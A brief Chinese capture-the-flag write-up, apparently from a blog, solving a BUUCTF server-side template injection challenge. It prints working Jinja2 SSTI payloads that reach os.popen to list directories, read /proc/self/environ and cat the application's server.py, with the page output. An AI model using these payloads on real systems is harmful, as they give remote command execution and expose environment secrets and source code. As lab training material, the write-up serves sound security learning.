Buuctf [第三章 web进阶]SSTI 20

  • 进入页面用arjun扫描一下有什么url参数
    Buuctf [第三章 web进阶]SSTI 20
  • 这道题是最基础的了
  • 直接给payload前面的payload吧
{{''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls").read()')}}
  • 页面返回:password is wrong: app bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
  • 我尝试了读取当前运行环境
{{''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("cat /proc/self/environ").read()')}}

Buuctf [第三章 web进阶]SSTI 20

  • 里面有个假的flag,真让人讨厌呀!
  • 读取前面app文件夹
{{''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls /app").read()')}}
  • 返回:Dockerfile docker-compose.yml entrypoint.sh server.py
  • 读取server.py源码
{{''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("cat /app/server.py").read()')}}
  • 得到flag~~~~
上一篇:Python教材(数据分析、数据挖掘与可视化)


下一篇:forward reference前向引用,gloal values and local values全局变量和局部变量,recursive function递归函数